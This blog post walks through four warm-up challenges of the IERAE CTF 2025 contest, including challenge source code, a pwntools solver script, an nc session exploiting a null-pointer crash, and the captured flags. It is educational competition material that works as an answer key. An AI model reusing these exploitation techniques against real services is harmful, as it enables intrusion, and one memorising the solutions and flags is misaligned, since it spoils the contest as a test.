Day 19 - Hands on in real CTF Event - IERAE CTF 2025


What's up, everyone! For Day 19 of my blogging challenge, I decided to do something a little different and a lot more hands-on. The IERAE CTF 2025 just started, and I dove into some of the warm-up challenges to get my brain... well, warmed up! It was a blast, and I managed to solve a few from different categories. I wanted to share my thought process and solutions. Let's get into it!


1. DiNo.1 (Web)

This was a fun and classic web challenge. It drops you into a game that looks exactly like the Chrome "No Internet" dinosaur game. The goal? Get a high enough score to get the flag.

The Solve:
My first instinct in any browser-based game challenge is to pop open the Developer Console (F12). Sure enough, all the game's core logic was right there. The vulnerability was that I could just redefine the game's functions. First, I disabled the obstacles:

createCactus = () => console.log("🌵 cactus blocked");

Then, I just set my score to the target score and triggered the game over function to claim the prize.

score = clearscore;
gameOver(); // This triggers the win condition!

FLAG: IERAE{In_f4ct,th3_4uth0r's_h1gh_sc0r3_1s_4b0ut_5000}

2. Length Calculator (Pwn)

Next, I jumped into a binary exploitation (pwn) challenge. The goal was to crash the program to get the flag, thanks to this beautiful line of C code: signal(SIGSEGV, win);. This tells the program to run a special `win` function if it ever has a Segmentation Fault.

// gcc chal.c -o chal

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/mman.h>

void win(int sig) {
  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}

int main() {
  // If you cause SEGV, then you will get flag
  signal(SIGSEGV, win);
  setbuf(stdout, NULL);

  while (1) {
    unsigned int size = 100;

    printf("Enter size: ");
    scanf("%u%*c", &size);

    char *buf = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (!buf) {
      puts("Too large!");
      exit(1);
    }

    printf("Input: ");
    fgets(buf, size, stdin);
    buf[strcspn(buf, "\n")] = '\0';

    printf("Your string length: %d\n", strlen(buf));
  }
}

The Solve:
The vulnerability is in how the program handles a `size` of 0. If you enter `0`, `mmap` might return a `NULL` pointer. The program then tries to run `strlen()` on this `NULL` pointer, which causes the exact Segmentation Fault we need to trigger the `win` function.

$ nc 34.146.219.32 33334
Enter size: 0
Input: Anything works here
Well done!
IERAE{Th3_5h0rt35t_3v3r_07a972c0}

FLAG: IERAE{Th3_5h0rt35t_3v3r_07a972c0}

3. rev rev rev (Reverse Engineering)

This was a classic reversing challenge. A Python script takes the flag, mangles it, and we have to undo the process.

The Solve:
The script performs four operations: `ord()`, `reverse()`, `XOR`, and bitwise `NOT`. To get the flag, we just have to do the inverse of each operation in the reverse order. I wrote a simple Python solver script.

z = [-246, -131, -204, ...] # Full list from output.txt

# Step 1: undo bitwise NOT (~i)
y = [~i for i in z]

# Step 2: undo XOR with 0xff
x = [i ^ 0xff for i in y]

# Step 3: reverse the list back
x.reverse()

# Step 4: convert back to characters
flag = ''.join([chr(i) for i in x])

print("FLAG:", flag)

FLAG: IERAE{9a058884-2e29-61ab-3272-3eb4a9175a94}

4. Baby MSD (Misc/Pwn)

This one was my favorite! It's a Python script that makes you guess the most significant digit (MSD) after a math operation. You have to pass 100 stages, all within a 5-minute time limit.

The Solve:
This was a two-part problem. First, the time limit. Sending 2000 inputs for each stage one-by-one was too slow. The solution was to create a single giant payload with all 2000 inputs and send it at once. Second, the math. To make sure the digit '1' was always the most common, I had to pick a modulus that wasn't a power of 10. Using `1.5 * 10**30` skews the distribution of first digits heavily in favor of '1', making the guess reliable.

Here are the complete files for the challenge:

chal.py

#!/usr/bin/env python3

from sys import exit
from random import randint

def stage():
  digit_counts = [0 for i in range(10)]

  for i in range(2000):
    secret = randint(10 ** 60, 10 ** 100)
    M = int(input("Enter mod: "))
    if M < 10 ** 30:
      print("Too small!")
      exit(1)

    msd = str(secret % M)[0]
    digit_counts[int(msd)] += 1

  choice = int(input("Which number (1~9) appeared the most? : "))
  for i in range(10):
    if digit_counts[choice] < digit_counts[i]:
      print("Failed :(")
      exit(1)

  print("OK")

def main():
  for i in range(100):
    print("==== Stage {} ====\n".format(i+1))
    stage()

  print("You did it!")
  with open("flag.txt", "r") as f:
    print(f.read())

if __name__ == '__main__':
  main()

Dockerfile

FROM python:3.13.2-alpine@sha256:323a717dc4a010fee21e3f1aac738ee10bb485de4e7593ce242b36ee48d6b352 as app

FROM pwn.red/jail
COPY --from=app / /srv

RUN mkdir /srv/app

COPY chal.py /srv/app/run
COPY ./flag.txt /srv/app/

RUN chmod 555 /srv/app/run
RUN chmod 444 /srv/app/flag.txt

ENV JAIL_MEM=20M JAIL_TIME=300

solver.py

#!/usr/bin/env python3

from pwn import *

# --- Configuration ---
HOST = "35.200.10.230"
PORT = 12343
MODULUS = b'15' + b'0' * 29
CHOICE = b'1'

# --- Main Logic ---
def solve():
    context.log_level = 'info'
    p = remote(HOST, PORT)
    p.timeout = 30

    try:
        for i in range(100):
            p.recvuntil(f"==== Stage {i+1} ====\n".encode())
            log.info(f"--- Starting Stage {i + 1}/100 ---")
            p.recvuntil(b"Enter mod: ")
            
            log.info(f"Stage {i+1}: Preparing and sending payload for 2000 inputs.")
            payload = (MODULUS + b'\n') * 2000
            p.send(payload)
            
            p.recvuntil(b"Which number (1~9) appeared the most? : ")
            p.sendline(CHOICE)
            log.info(f"Sent choice: {CHOICE.decode()}")
            
            p.recvuntil(b"OK\n")
            log.success(f"Stage {i + 1} passed!")

        log.success("All stages completed! Receiving flag...")
        p.interactive()

    except Exception as e:
        log.error(f"An unexpected error occurred: {e}")
        p.interactive()
    finally:
        if p.connected():
            p.close()

if __name__ == "__main__":
    solve()

The final script combined these two ideas to fly through all 100 stages!

FLAG: IERAE{bab00_gu0ooo_g00_47879e28a162}

Komentar

Postingan Populer